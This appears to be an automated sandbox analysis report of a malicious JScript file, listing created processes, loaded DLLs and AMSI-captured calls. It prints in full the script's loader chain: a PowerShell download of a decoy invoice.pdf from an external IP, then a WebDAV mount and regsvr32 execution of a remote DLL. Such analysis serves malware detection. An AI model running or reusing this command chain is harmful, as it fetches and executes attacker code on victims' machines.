Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1624,i,10752542739591527044,16325113130440687339,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1624,i,10752542739591527044,16325113130440687339,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4470.js.csv");ITextStream.WriteLine(" entry:8516 f:crnycah");ITextStream.WriteLine(" exec:2 f:crnycah");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
